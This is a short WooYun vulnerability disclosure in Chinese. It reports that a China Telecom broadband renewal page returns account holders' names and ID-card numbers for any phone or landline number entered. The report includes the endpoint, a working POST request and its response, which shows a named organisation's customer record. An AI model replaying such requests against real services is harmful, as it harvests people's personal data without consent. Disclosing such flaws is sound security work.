WooYun.org

漏洞地址：http://hi.189.cn/service/transaction/v5/esurfing/renew.jsp
“宽带包年续约功能”在宽带账户 那里输入号码 点获取信息，看抓包数据就会泄漏信息！有开户名和身份证等敏感信息，支持固话和手机号！
身份证在paperNO面会显示。
POST数据：<buffalo-call><method>getCusterMess</method><map><type>java.util.HashMap</type><string>businessNum</string><string>089865238070</string><string>staffNo</string><string></string></map></buffalo-call>
返回：<buffalo-reply><map><type>java.util.HashMap</type><string>param_value</string><string></string><string>custId</string><string>280679</string><string>paperType</string><string>单位公章</string><string>result</string><string>-1</string><string>cartName</string><string>单位公章</string><string>nwkCode</string><string></string><string>userid</string><string>-898</string><string>taocantype</string><string></string><string>nwkoffertype</string><string></string><string>prodid</string><string></string><string>nwkmdseid</string><string></string><string>paperNO</string><string>无证件号</string><string>message</string><string>您没有要续约的宽带套餐！</string><string>valueName</string><string></string><string>fee</string><string></string><string>param_id</string><string></string><string>solelymdseid</string><string></string><string>userName</string><string>海南省工业经济与信息产业局</string><string>datestate</string><string>-1</string><string>userNwk</string><string></string><string>webOrder</string><string></string><string>nwkName</string><string></string><string>taocanresultcode</string><string>-1</string></map></buffalo-reply>
这里只是简单截图，可以获取到用户开户名和身份证（这里是单位没登记）信息！比较懒不想打码就不放实名用户信息了。 随便找个手机用户可以看到效果！